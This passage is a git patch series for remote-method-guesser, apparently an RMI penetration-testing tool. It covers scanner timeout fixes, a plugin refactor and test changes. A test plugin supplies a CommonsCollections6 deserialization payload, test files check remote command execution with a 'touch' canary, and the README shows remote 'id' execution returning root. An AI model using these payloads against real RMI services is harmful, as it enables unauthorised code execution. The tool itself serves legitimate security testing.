706,999,1030,1035,1090,1098,1099,1100-1103,1129,1199,1234,1440,1981,2199,2809,3273,3333,3900,4443-4446,5520,5521,5580,5999,6060,6789,6996,7700,7800,7801,7878,7890,8050,8051,8085,8091,8205,8303,8642,8686,8701,8888-8890,8901-8903,8999,9001,9003-9010,9050,9090,9099,9300,9500,9711,9809,9810-9815,9875,9910,9991,9999,10001,10098,10099,10162,10990,11001,11099,11333,12000,13013,14000,15000,15001,15200,16000,17200,18980,20000,23791,26256,31099,32913,33000,37718,45230,47001,47002,50050,50500-50504 From 8895d48102d6a238f3fd4f0547049b0c456d5ece Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 20 Apr 2024 22:15:20 +0200 Subject: [PATCH 34/62] Move subparser logic according to argparse v1.3.0 --- src/eu/tneitzel/rmg/plugin/PluginSystem.java | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/src/eu/tneitzel/rmg/plugin/PluginSystem.java b/src/eu/tneitzel/rmg/plugin/PluginSystem.java index 643c340..b7d8041 100644 --- a/src/eu/tneitzel/rmg/plugin/PluginSystem.java +++ b/src/eu/tneitzel/rmg/plugin/PluginSystem.java @@ -351,14 +351,7 @@ public static void addPluginActions(Subparsers parser) { for (IAction action : getPluginActions()) { - SubparserContainer container = parser; - - if (action.getGroup() == null) - { - container = parser.getOrCreateSubparserGroup(OperationGroup.PLUGIN.getName()); - } - - action.addSuparser(container); + action.addSuparser(parser); } } From 1ce889ac77fbe9597d8fefd87a37952845a0e4f3 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 20 Apr 2024 22:16:02 +0200 Subject: [PATCH 35/62] Add implementation for getEnumName to RMGOption --- src/eu/tneitzel/rmg/internal/RMGOption.java | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/src/eu/tneitzel/rmg/internal/RMGOption.java b/src/eu/tneitzel/rmg/internal/RMGOption.java index 063742b..588432b 100644 --- a/src/eu/tneitzel/rmg/internal/RMGOption.java +++ b/src/eu/tneitzel/rmg/internal/RMGOption.java @@ -718,4 +718,10 @@ public String getName() { return name; } + + @Override + public String getEnumName() + { + return this.name(); + } } From 7b74d8e346c7e566e58e9b1f00bd1f012c7a8e13 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 20 Apr 2024 22:16:46 +0200 Subject: [PATCH 36/62] Adjust socket timeouts before scanning The timeout related option values for rmg's scan operation were never applied. This led to the default values beeing used, which were incorrectly specified as seconds, despite the functions take miliseconds as arguments. This commit should reslove #62 --- src/eu/tneitzel/rmg/operations/Dispatcher.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/eu/tneitzel/rmg/operations/Dispatcher.java b/src/eu/tneitzel/rmg/operations/Dispatcher.java index f7faa8b..9e96f5b 100644 --- a/src/eu/tneitzel/rmg/operations/Dispatcher.java +++ b/src/eu/tneitzel/rmg/operations/Dispatcher.java @@ -745,7 +745,9 @@ public void dispatchPortScan() Logger.lineBreak(); Logger.increaseIndent(); + p.setSocketTimeout(); PortScanner ps = new PortScanner(host, rmiPorts); + ps.portScan(); Logger.decreaseIndent(); From dab302fd5002d96cd8204151b1e3620c5a86013b Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 20 Apr 2024 22:19:12 +0200 Subject: [PATCH 37/62] Adjust default timeouts of PortScanner Adjusted the default timeouts of the PortScanner to reasonable values. Related to #62. --- src/eu/tneitzel/rmg/operations/PortScanner.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/eu/tneitzel/rmg/operations/PortScanner.java b/src/eu/tneitzel/rmg/operations/PortScanner.java index 66031b5..e0cd1c6 100644 --- a/src/eu/tneitzel/rmg/operations/PortScanner.java +++ b/src/eu/tneitzel/rmg/operations/PortScanner.java @@ -53,8 +53,8 @@ public class PortScanner { private TrustAllSocketFactory sslFactory; private RMIClientSocketFactory sockFactory; - private static int readTimeout = 5; - private static int connectTimeout = 5; + private static int readTimeout = 5000; + private static int connectTimeout = 3000; /** * The PortScanner class obtains the target host as a String and the ports to scan From 830c89c5976a5650273b90fdc80c8e346efabd17 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 20 Apr 2024 22:27:57 +0200 Subject: [PATCH 38/62] PortScanner related bugfixes --- src/config.properties | 2 +- src/eu/tneitzel/rmg/internal/ArgumentHandler.java | 12 ++++++------ src/eu/tneitzel/rmg/operations/PortScanner.java | 6 +++--- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/src/config.properties b/src/config.properties index 0ba98b9..a5c785e 100644 --- a/src/config.properties +++ b/src/config.properties @@ -46,4 +46,4 @@ REG_METHOD = lookup SERIAL_VERSION_UID = 2 PAYLOAD_SERIAL_VERSION_UID = 2 -SCAN_PORTS = 706,999,1030,1035,1090,1098,1099,1100-1103,1129,1199,1234,1440,1981,2199,2809,3273,3333,3900,4443-4446,5520,5521,5580,5999,6060,6789,6996,7700,7800,7801,7878,7890,8050,8051,8085,8091,8205,8303,8642,8686,8701,8888-8890,8901-8903,8999,9001,9003-9010,9050,9090,9099,9300,9500,9711,9809,9810-9815,9875,9910,9991,9999,10001,10098,10099,10162,10990,11001,11099,11333,12000,13013,14000,15000,15001,15200,16000,17200,18980,20000,23791,26256,31099,32913,33000,37718,45230,47001,47002,50050,50500-50504 +RMI_PORTS = 706,999,1030,1035,1090,1098,1099,1100-1103,1129,1199,1234,1440,1981,2199,2809,3273,3333,3900,4443-4446,5520,5521,5580,5999,6060,6789,6996,7700,7800,7801,7878,7890,8050,8051,8085,8091,8205,8303,8642,8686,8701,8888-8890,8901-8903,8999,9001,9003-9010,9050,9090,9099,9300,9500,9711,9809,9810-9815,9875,9910,9991,9999,10001,10098,10099,10162,10990,11001,11099,11333,12000,13013,14000,15000,15001,15200,16000,17200,18980,20000,23791,26256,31099,32913,33000,37718,45230,47001,47002,50050,50500-50504 diff --git a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java index 2109736..a9eca07 100644 --- a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java +++ b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java @@ -397,7 +397,7 @@ public int[] getRmiPorts() { Set rmiPorts = new HashSet(); - String defaultPorts = config.getProperty("rmi_ports"); + String defaultPorts = config.getProperty("RMI_PORTS"); List portStrings = (List)RMGOption.SCAN_PORTS.value; if (portStrings == null) @@ -480,12 +480,12 @@ public void addRange(String portRange, Set portList) */ public void setSocketTimeout() { - String scanTimeoutRead = RMGOption.SCAN_TIMEOUT_READ.getValue(); - String scanTimeoutConnect = RMGOption.SCAN_TIMEOUT_CONNECT.getValue(); + int scanTimeoutRead = RMGOption.SCAN_TIMEOUT_READ.getValue(); + int scanTimeoutConnect = RMGOption.SCAN_TIMEOUT_CONNECT.getValue(); - System.setProperty("sun.rmi.transport.connectionTimeout", scanTimeoutConnect); - System.setProperty("sun.rmi.transport.tcp.handshakeTimeout", scanTimeoutRead); - System.setProperty("sun.rmi.transport.tcp.responseTimeout", scanTimeoutRead); + System.setProperty("sun.rmi.transport.connectionTimeout", String.valueOf(scanTimeoutConnect)); + System.setProperty("sun.rmi.transport.tcp.handshakeTimeout", String.valueOf(scanTimeoutRead)); + System.setProperty("sun.rmi.transport.tcp.responseTimeout", String.valueOf(scanTimeoutRead)); PortScanner.setSocketTimeouts(scanTimeoutRead, scanTimeoutConnect); } diff --git a/src/eu/tneitzel/rmg/operations/PortScanner.java b/src/eu/tneitzel/rmg/operations/PortScanner.java index e0cd1c6..c738f30 100644 --- a/src/eu/tneitzel/rmg/operations/PortScanner.java +++ b/src/eu/tneitzel/rmg/operations/PortScanner.java @@ -111,10 +111,10 @@ public int portScan() * @param read timeout for read operations on the sockets * @param connect timeout for the initial socket connect */ - public static void setSocketTimeouts(String read, String connect) + public static void setSocketTimeouts(int read, int connect) { - readTimeout = Integer.valueOf(read); - connectTimeout = Integer.valueOf(connect); + readTimeout = read; + connectTimeout = connect; } /** From 3be7fdb35a29568536dc402a3e0d059079f84526 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 20 Apr 2024 22:45:26 +0200 Subject: [PATCH 39/62] Update CHANGELOG.md --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index cf13d32..78924f1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,6 +21,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Change argparse4j dependency to https://github.com/qtc-de/argparse4j * Change CHANGELOG.md version format (af1c52137277cacfe2ccc9c166fd68770ae3e213) * Improve RMI class loading for plugin classes (454a9fd17653ce3bceba58a9ba989e344ee2c7c7) +* Improve `scan` action reliability (#62) * Refactor plugin system ([README](/plugins/README.md)) From c7cd2797fb7e0e5d87717657add7a8ec0c4794b6 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 4 May 2024 21:14:45 +0200 Subject: [PATCH 40/62] Add test-plugin --- tests/utils/PluginTest.java | 80 ------------------- tests/utils/test-plugin/pom.xml | 50 ++++++++++++ .../java/eu/tneitzel/rmg/plugin/Test.java | 64 +++++++++++++++ 3 files changed, 114 insertions(+), 80 deletions(-) delete mode 100644 tests/utils/PluginTest.java create mode 100644 tests/utils/test-plugin/pom.xml create mode 100644 tests/utils/test-plugin/src/main/java/eu/tneitzel/rmg/plugin/Test.java diff --git a/tests/utils/PluginTest.java b/tests/utils/PluginTest.java deleted file mode 100644 index 825f828..0000000 --- a/tests/utils/PluginTest.java +++ /dev/null @@ -1,80 +0,0 @@ -import java.util.Map; -import java.util.HashMap; -import java.util.Collection; - -import eu.tneitzel.rmg.operations.Operation; -import eu.tneitzel.rmg.plugin.DefaultProvider; -import eu.tneitzel.rmg.plugin.IResponseHandler; -import eu.tneitzel.rmg.plugin.IPayloadProvider; -import eu.tneitzel.rmg.plugin.IArgumentProvider; - - -public class PluginTest implements IResponseHandler, IPayloadProvider, IArgumentProvider -{ - private static DefaultProvider defProv = new DefaultProvider(); - - public void handleResponse(Object responseObject) - { - if (responseObject instanceof Collection) - { - for (Object o: (Collection)responseObject) - { - System.out.println(o.toString()); - } - } - - else if (responseObject instanceof Map) - { - Map map = (Map)responseObject; - - for (Object o: map.keySet()) - { - System.out.print(o.toString()); - System.out.println(" --> " + map.get(o).toString()); - } - } - - else if (responseObject.getClass().isArray()) - { - for(Object o: (Object[])responseObject) - { - System.out.println(o.toString()); - } - } - - else - { - System.out.println(responseObject.toString()); - } - } - - public Object[] getArgumentArray(String argumentString) - { - if (argumentString.equals("login")) - { - HashMap credentials = new HashMap(); - credentials.put("username", "admin"); - credentials.put("password", "admin"); - - return new Object[]{credentials}; - } - - else - { - return defProv.getArgumentArray(argumentString); - } - } - - public Object getPayloadObject(Operation action, String name, String args) - { - if (name.equals("custom")) - { - return defProv.getPayloadObject(action, "CommonsCollections6", args); - } - - else - { - return defProv.getPayloadObject(action, name, args); - } - } -} diff --git a/tests/utils/test-plugin/pom.xml b/tests/utils/test-plugin/pom.xml new file mode 100644 index 0000000..85c5d6f --- /dev/null +++ b/tests/utils/test-plugin/pom.xml @@ -0,0 +1,50 @@ + + 4.0.0 + eu.tneitzel + rmg-plugin-template + 1.0.0 + + + UTF-8 + 1.8 + 1.8 + + + + + eu.tneitzel + remote-method-guesser + 5.1.0 + provided + + + + + + + maven-assembly-plugin + + + package + + single + + + + + test-plugin + + + Tobias Neitzel (@qtc_de) + eu.tneitzel.rmg.plugin.Test + + + + jar-with-dependencies + + + + + + + diff --git a/tests/utils/test-plugin/src/main/java/eu/tneitzel/rmg/plugin/Test.java b/tests/utils/test-plugin/src/main/java/eu/tneitzel/rmg/plugin/Test.java new file mode 100644 index 0000000..e336ad7 --- /dev/null +++ b/tests/utils/test-plugin/src/main/java/eu/tneitzel/rmg/plugin/Test.java @@ -0,0 +1,64 @@ +package eu.tneitzel.rmg.plugin; + +import java.util.HashMap; + +import eu.tneitzel.rmg.operations.Operation; + +/** + * Simple plugin to test the plugin system. Currently only covers a subset of available + * plugin provider interfaces. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class Test implements IPayloadProvider, IArgumentProvider +{ + private static DefaultProvider defProv = new DefaultProvider(); + + /** + * Return a HashMap containing username and password when the argument + * string "login" is used. Otherwise, return the default provider value. + * + * @param argumentString argument string specified on the cmdline + * + * @retrun Objects to use as call arguments + */ + public Object[] getArgumentArray(String argumentString) + { + if (argumentString.equals("login")) + { + HashMap credentials = new HashMap(); + credentials.put("username", "admin"); + credentials.put("password", "admin"); + + return new Object[]{credentials}; + } + + else + { + return defProv.getArgumentArray(argumentString); + } + } + + /** + * Return the CommonsCollections6 payload when the gadget name custom was specified. + * Otherwise, just use the default provider. + * + * @param action currently running rmg action + * @param name requested gadget name + * @param args specified gadget args + * + * @return Gadget object to pass to the server + */ + public Object getPayloadObject(Operation action, String name, String args) + { + if (name.equals("custom")) + { + return defProv.getPayloadObject(action, "CommonsCollections6", args); + } + + else + { + return defProv.getPayloadObject(action, name, args); + } + } +} From 980c6802634298ab9e5ea9045463e34a84b2f951 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 4 May 2024 21:22:41 +0200 Subject: [PATCH 41/62] Remove plugin based tests for now --- tests/jdk11/tests/call.yml | 10 ------ tests/jdk11/tests/serial.yml | 10 ------ tests/jdk8/tests/call.yml | 10 ------ tests/jdk8/tests/serial.yml | 9 ----- tests/jdk9/tests/call.yml | 10 ------ tests/jdk9/tests/serial.yml | 10 ------ tests/shared/call.yml | 67 ++++++++++++++++------------------ tests/shared/serial.yml | 70 ++++++++++++++++++------------------ tests/tricot.yml | 3 +- 9 files changed, 66 insertions(+), 133 deletions(-) diff --git a/tests/jdk11/tests/call.yml b/tests/jdk11/tests/call.yml index 1e29dab..b6d6915 100644 --- a/tests/jdk11/tests/call.yml +++ b/tests/jdk11/tests/call.yml @@ -14,15 +14,5 @@ variables: file: jdk11-call-rce-test.txt -plugins: - - os_command: - cmd: - - /bin/bash - - ../../../plugins/build.sh - - ../../../target/${rmg} - - ../../utils/PluginTest.java - - ../../utils/PluginTest.jar - - include: - ../../shared/call.yml diff --git a/tests/jdk11/tests/serial.yml b/tests/jdk11/tests/serial.yml index defdb6d..b152f36 100644 --- a/tests/jdk11/tests/serial.yml +++ b/tests/jdk11/tests/serial.yml @@ -14,16 +14,6 @@ variables: file: jdk11-method-rce-test.txt -plugins: - - os_command: - cmd: - - /bin/bash - - ../../../plugins/build.sh - - ../../../target/${rmg} - - ../../utils/PluginTest.java - - ../../utils/PluginTest.jar - - tests: - title: String Marshaling description: |- diff --git a/tests/jdk8/tests/call.yml b/tests/jdk8/tests/call.yml index dd136af..8c6eb55 100644 --- a/tests/jdk8/tests/call.yml +++ b/tests/jdk8/tests/call.yml @@ -14,15 +14,5 @@ variables: file: jdk8-call-rce-test.txt -plugins: - - os_command: - cmd: - - /bin/bash - - ../../../plugins/build.sh - - ../../../target/${rmg} - - ../../utils/PluginTest.java - - ../../utils/PluginTest.jar - - include: - ../../shared/call.yml diff --git a/tests/jdk8/tests/serial.yml b/tests/jdk8/tests/serial.yml index edca6cd..b5a2d8f 100644 --- a/tests/jdk8/tests/serial.yml +++ b/tests/jdk8/tests/serial.yml @@ -14,15 +14,6 @@ variables: file: jdk8-method-rce-test.txt -plugins: - - os_command: - cmd: - - /bin/bash - - ../../../plugins/build.sh - - ../../../target/${rmg} - - ../../utils/PluginTest.java - - ../../utils/PluginTest.jar - tests: - title: String Marshaling description: |- diff --git a/tests/jdk9/tests/call.yml b/tests/jdk9/tests/call.yml index 9706bf2..05758f9 100644 --- a/tests/jdk9/tests/call.yml +++ b/tests/jdk9/tests/call.yml @@ -14,15 +14,5 @@ variables: file: jdk9-call-rce-test.txt -plugins: - - os_command: - cmd: - - /bin/bash - - ../../../plugins/build.sh - - ../../../target/${rmg} - - ../../utils/PluginTest.java - - ../../utils/PluginTest.jar - - include: - ../../shared/call.yml diff --git a/tests/jdk9/tests/serial.yml b/tests/jdk9/tests/serial.yml index 766bc98..49b8712 100644 --- a/tests/jdk9/tests/serial.yml +++ b/tests/jdk9/tests/serial.yml @@ -14,16 +14,6 @@ variables: file: jdk9-method-rce-test.txt -plugins: - - os_command: - cmd: - - /bin/bash - - ../../../plugins/build.sh - - ../../../target/${rmg} - - ../../utils/PluginTest.java - - ../../utils/PluginTest.jar - - tests: - title: String Marshaling description: |- diff --git a/tests/shared/call.yml b/tests/shared/call.yml index 26fd341..7cca871 100644 --- a/tests/shared/call.yml +++ b/tests/shared/call.yml @@ -38,8 +38,7 @@ tests: - plain-server - --signature - 'String execute(String dummy)' - - --plugin - - ../utils/PluginTest.jar + - --show-response - ${OPTIONS} validators: @@ -51,32 +50,32 @@ tests: - groups=0(root) - - title: Execute Call (Argument Provider Plugin) - description: |- - 'Invokes the login function on the legacy-service object using' - 'a custom argument provider that creates the required HashMap.' + #- title: Execute Call (Argument Provider Plugin) + # description: |- + # 'Invokes the login function on the legacy-service object using' + # 'a custom argument provider that creates the required HashMap.' - groups: - - argument-provider + # groups: + # - argument-provider - command: - - rmg - - call - - ${TARGET} - - login - - --bound-name - - legacy-service - - --signature - - 'String login(java.util.HashMap dummy1)' - - --plugin - - ../utils/PluginTest.jar - - ${OPTIONS} + # command: + # - rmg + # - call + # - ${TARGET} + # - login + # - --bound-name + # - legacy-service + # - --signature + # - 'String login(java.util.HashMap dummy1)' + # - --plugin + # - ../utils/PluginTest.jar + # - ${OPTIONS} - validators: - - error: False - - contains: - values: - - Session-ID-123 + # validators: + # - error: False + # - contains: + # values: + # - Session-ID-123 - title: Execute Call (Based on ObjID) @@ -96,8 +95,7 @@ tests: - 0 - --signature - 'String[] list()' - - --plugin - - ../utils/PluginTest.jar + - --show-response - ${OPTIONS} validators: @@ -126,8 +124,7 @@ tests: - '[0:0:0, 0]' - --signature - 'String[] list()' - - --plugin - - ../utils/PluginTest.jar + - --show-response - ${OPTIONS} validators: @@ -223,8 +220,7 @@ tests: - activation-test - --signature - 'String execute(String dummy)' - - --plugin - - ../utils/PluginTest.jar + - --show-response - ${OPTIONS} validators: @@ -251,8 +247,7 @@ tests: - plain-server - --signature - 'String system(String command, String[] args)' - - --plugin - - ../utils/PluginTest.jar + - --show-response - ${OPTIONS} validators: @@ -279,8 +274,7 @@ tests: - activation-test - --signature - 'String system(String command, String[] args)' - - --plugin - - ../utils/PluginTest.jar + - --show-response - ${OPTIONS} validators: @@ -310,8 +304,7 @@ tests: - --signature - 'int math(int dummy1, int dummy2)' - 'new Integer(338), new Integer(999)' - - --plugin - - ../utils/PluginTest.jar + - --show-response - ${OPTIONS} - --serial-version-uid - 4444 diff --git a/tests/shared/serial.yml b/tests/shared/serial.yml index 9fe3345..404cf78 100644 --- a/tests/shared/serial.yml +++ b/tests/shared/serial.yml @@ -101,41 +101,41 @@ tests: - '${volume}/${file}' - - title: Plugin Call - description: |- - 'Uses a plugin as payload provider that returns the string that was specified' - 'as agument. This is used on the execute method of the plain-server bound name' - 'to verify code execution.' - - groups: - - payload-provider - - command: - - rmg - - serial - - ${TARGET} - - custom - - 'touch ${volume-d}/${file}' - - --signature - - 'String login(java.util.HashMap dummy1)' - - --bound-name - - legacy-service - - --plugin - - ../utils/PluginTest.jar - - ${OPTIONS} - - validators: - - error: False - - contains: - values: - - java.util.HashMap - - Caught ClassNotFoundException - - deserialize canary - - probably worked - - file_exists: - cleanup: True - files: - - '${volume}/${file}' + #- title: Plugin Call + # description: |- + # 'Uses a plugin as payload provider that returns the string that was specified' + # 'as agument. This is used on the execute method of the plain-server bound name' + # 'to verify code execution.' + + # groups: + # - payload-provider + + # command: + # - rmg + # - serial + # - ${TARGET} + # - custom + # - 'touch ${volume-d}/${file}' + # - --signature + # - 'String login(java.util.HashMap dummy1)' + # - --bound-name + # - legacy-service + # - --plugin + # - ../utils/PluginTest.jar + # - ${OPTIONS} + + # validators: + # - error: False + # - contains: + # values: + # - java.util.HashMap + # - Caught ClassNotFoundException + # - deserialize canary + # - probably worked + # - file_exists: + # cleanup: True + # files: + # - '${volume}/${file}' - title: Gadget Call (Legacy, non default SerialVersionUID) diff --git a/tests/tricot.yml b/tests/tricot.yml index faf25cb..f8e81e1 100644 --- a/tests/tricot.yml +++ b/tests/tricot.yml @@ -18,7 +18,7 @@ tester: ge: 1.12.0 variables: - rmg: rmg-5.0.0-jar-with-dependencies.jar + rmg: rmg-5.1.0-jar-with-dependencies.jar volume: /tmp/rmg-tricot-test/ volume-d: /rce/ codebase-class: CodebaseTest @@ -54,7 +54,6 @@ plugins: - utils/CodebaseTest4.class - utils/CodebaseTest5.class - utils/CodebaseTest6.class - - utils/PluginTest.jar testers: From 10d130c2ef48dfaadd97d235060ccf816ff778ec Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 4 May 2024 21:31:03 +0200 Subject: [PATCH 42/62] Fix formatting of test plugin --- .../java/eu/tneitzel/rmg/plugin/Test.java | 78 +++++++++---------- 1 file changed, 39 insertions(+), 39 deletions(-) diff --git a/tests/utils/test-plugin/src/main/java/eu/tneitzel/rmg/plugin/Test.java b/tests/utils/test-plugin/src/main/java/eu/tneitzel/rmg/plugin/Test.java index e336ad7..5e360c2 100644 --- a/tests/utils/test-plugin/src/main/java/eu/tneitzel/rmg/plugin/Test.java +++ b/tests/utils/test-plugin/src/main/java/eu/tneitzel/rmg/plugin/Test.java @@ -7,50 +7,50 @@ /** * Simple plugin to test the plugin system. Currently only covers a subset of available * plugin provider interfaces. - * + * * @author Tobias Neitzel (@qtc_de) */ public class Test implements IPayloadProvider, IArgumentProvider { - private static DefaultProvider defProv = new DefaultProvider(); - - /** - * Return a HashMap containing username and password when the argument - * string "login" is used. Otherwise, return the default provider value. - * - * @param argumentString argument string specified on the cmdline - * - * @retrun Objects to use as call arguments - */ - public Object[] getArgumentArray(String argumentString) - { - if (argumentString.equals("login")) - { - HashMap credentials = new HashMap(); - credentials.put("username", "admin"); - credentials.put("password", "admin"); - - return new Object[]{credentials}; - } + private static DefaultProvider defProv = new DefaultProvider(); - else - { - return defProv.getArgumentArray(argumentString); - } - } - - /** - * Return the CommonsCollections6 payload when the gadget name custom was specified. - * Otherwise, just use the default provider. - * - * @param action currently running rmg action - * @param name requested gadget name - * @param args specified gadget args - * - * @return Gadget object to pass to the server - */ - public Object getPayloadObject(Operation action, String name, String args) - { + /** + * Return a HashMap containing username and password when the argument + * string "login" is used. Otherwise, return the default provider value. + * + * @param argumentString argument string specified on the cmdline + * + * @retrun Objects to use as call arguments + */ + public Object[] getArgumentArray(String argumentString) + { + if (argumentString.equals("login")) + { + HashMap credentials = new HashMap(); + credentials.put("username", "admin"); + credentials.put("password", "admin"); + + return new Object[]{credentials}; + } + + else + { + return defProv.getArgumentArray(argumentString); + } + } + + /** + * Return the CommonsCollections6 payload when the gadget name custom was specified. + * Otherwise, just use the default provider. + * + * @param action currently running rmg action + * @param name requested gadget name + * @param args specified gadget args + * + * @return Gadget object to pass to the server + */ + public Object getPayloadObject(Operation action, String name, String args) + { if (name.equals("custom")) { return defProv.getPayloadObject(action, "CommonsCollections6", args); From 3d445fad7956be81ff537a331555d1df2b24e496 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 4 May 2024 21:33:18 +0200 Subject: [PATCH 43/62] Change --generic-print to --show-response --- CHANGELOG.md | 1 + README.md | 4 ++-- src/eu/tneitzel/rmg/internal/RMGOption.java | 4 ++-- src/eu/tneitzel/rmg/plugin/GenericPrint.java | 2 +- 4 files changed, 6 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 78924f1..032fc86 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -20,6 +20,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Change argparse4j dependency to https://github.com/qtc-de/argparse4j * Change CHANGELOG.md version format (af1c52137277cacfe2ccc9c166fd68770ae3e213) +* Change option name `--generic-print` to `--show-response` * Improve RMI class loading for plugin classes (454a9fd17653ce3bceba58a9ba989e344ee2c7c7) * Improve `scan` action reliability (#62) * Refactor plugin system ([README](/plugins/README.md)) diff --git a/README.md b/README.md index 801836e..6bb8210 100644 --- a/README.md +++ b/README.md @@ -193,11 +193,11 @@ Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... Notice that calling remote methods does not create any output by default. To process outputs generated by the ``call`` action, you need to use *remote-method-guesser's* [plugin system](./docs/rmg/plugin-system.md) and register a ``ResponseHandler`` or use the default -`GenericPrint` plugin. `GenericPrint` is inlcuded into *remote-method-guesser* by default and can be activated by using the `--generic-print` +`GenericPrint` plugin. `GenericPrint` is inlcuded into *remote-method-guesser* by default and can be activated by using the `--show-response` option. ```console -[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --generic-print +[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response [+] uid=0(root) gid=0(root) groups=0(root) ``` diff --git a/src/eu/tneitzel/rmg/internal/RMGOption.java b/src/eu/tneitzel/rmg/internal/RMGOption.java index 588432b..d7d2792 100644 --- a/src/eu/tneitzel/rmg/internal/RMGOption.java +++ b/src/eu/tneitzel/rmg/internal/RMGOption.java @@ -594,8 +594,8 @@ public enum RMGOption implements IOption RMGOptionGroup.CONNECTION), /** attempt to output the return value using GenericPrint */ - GENERIC_PRINT("--generic-print", - "attempt to output the return value using GenericPrint", + GENERIC_PRINT("--show-response", + "attempt to print the return value of an RMI call", Arguments.storeTrue(), RMGOptionGroup.ACTION); diff --git a/src/eu/tneitzel/rmg/plugin/GenericPrint.java b/src/eu/tneitzel/rmg/plugin/GenericPrint.java index 8b4174a..b767336 100644 --- a/src/eu/tneitzel/rmg/plugin/GenericPrint.java +++ b/src/eu/tneitzel/rmg/plugin/GenericPrint.java @@ -20,7 +20,7 @@ * reasonable defaults to visualize them. * * From remote-method-guesser v5.0.0, GenericPrint is included per default and does not need - * to be compiled separately. It can be enabled by using the --generic-print option. + * to be compiled separately. It can be enabled by using the --show-response option. * * @author Tobias Neitzel (@qtc_de) */ From d3aeb35b5112dd644d5bdec14cd053528f26c6b4 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 4 May 2024 21:49:10 +0200 Subject: [PATCH 44/62] Fix plugin initialization --- src/eu/tneitzel/rmg/Starter.java | 7 +++++-- src/eu/tneitzel/rmg/plugin/PluginSystem.java | 7 +++---- src/eu/tneitzel/rmg/utils/RMGUtils.java | 20 ++++++++++++++++++++ 3 files changed, 28 insertions(+), 6 deletions(-) diff --git a/src/eu/tneitzel/rmg/Starter.java b/src/eu/tneitzel/rmg/Starter.java index d01c6b2..c867c15 100644 --- a/src/eu/tneitzel/rmg/Starter.java +++ b/src/eu/tneitzel/rmg/Starter.java @@ -1,6 +1,7 @@ package eu.tneitzel.rmg; import eu.tneitzel.rmg.internal.ArgumentHandler; +import eu.tneitzel.rmg.internal.RMGOption; import eu.tneitzel.rmg.operations.Dispatcher; import eu.tneitzel.rmg.operations.Operation; import eu.tneitzel.rmg.plugin.PluginSystem; @@ -21,8 +22,10 @@ public class Starter */ public static void main(String[] argv) { - String pluginPath = RMGUtils.getOption("--plugin", argv); - PluginSystem.init(pluginPath); + String pluginPath = RMGUtils.getOption(RMGOption.GLOBAL_PLUGIN.getName(), argv); + boolean genericPrint = RMGUtils.getBooleanOption(RMGOption.GENERIC_PRINT.getName(), argv); + + PluginSystem.init(pluginPath, genericPrint); ArgumentHandler handler = new ArgumentHandler(argv); diff --git a/src/eu/tneitzel/rmg/plugin/PluginSystem.java b/src/eu/tneitzel/rmg/plugin/PluginSystem.java index b7d8041..d3102ce 100644 --- a/src/eu/tneitzel/rmg/plugin/PluginSystem.java +++ b/src/eu/tneitzel/rmg/plugin/PluginSystem.java @@ -14,14 +14,12 @@ import eu.tneitzel.argparse4j.global.IAction; import eu.tneitzel.argparse4j.global.IOption; -import eu.tneitzel.argparse4j.inf.SubparserContainer; import eu.tneitzel.argparse4j.inf.Subparsers; import eu.tneitzel.rmg.exceptions.MalformedPluginException; import eu.tneitzel.rmg.internal.ExceptionHandler; import eu.tneitzel.rmg.internal.RMGOption; import eu.tneitzel.rmg.io.Logger; import eu.tneitzel.rmg.operations.Operation; -import eu.tneitzel.rmg.operations.OperationGroup; import eu.tneitzel.rmg.utils.RMGUtils; /** @@ -52,8 +50,9 @@ public class PluginSystem * pluginPath was specified, the plugin is attempted to be loaded and may overwrite previous settings. * * @param pluginPath user specified plugin path or null + * @param genericPrint whether to use the GenericPrint builtin plugin */ - public static void init(String pluginPath) + public static void init(String pluginPath, boolean genericPrint) { DefaultProvider provider = new DefaultProvider(); @@ -61,7 +60,7 @@ public static void init(String pluginPath) argumentProvider = provider; socketFactoryProvider = provider; - if (RMGOption.GENERIC_PRINT.getBool()) + if (genericPrint) { responseHandler = new GenericPrint(); } diff --git a/src/eu/tneitzel/rmg/utils/RMGUtils.java b/src/eu/tneitzel/rmg/utils/RMGUtils.java index 61abcad..ceb5b67 100644 --- a/src/eu/tneitzel/rmg/utils/RMGUtils.java +++ b/src/eu/tneitzel/rmg/utils/RMGUtils.java @@ -1355,4 +1355,24 @@ public static String getOption(String opt, String[] args) return null; } + + /** + * Primitive argument parser for finding a single boolean value option on the command line. + * + * @param opt option name to find + * @param args command line + * @return true if option was found + */ + public static boolean getBooleanOption(String opt, String[] args) + { + for (String arg : args) + { + if (arg.equals(opt)) + { + return true; + } + } + + return false; + } } From 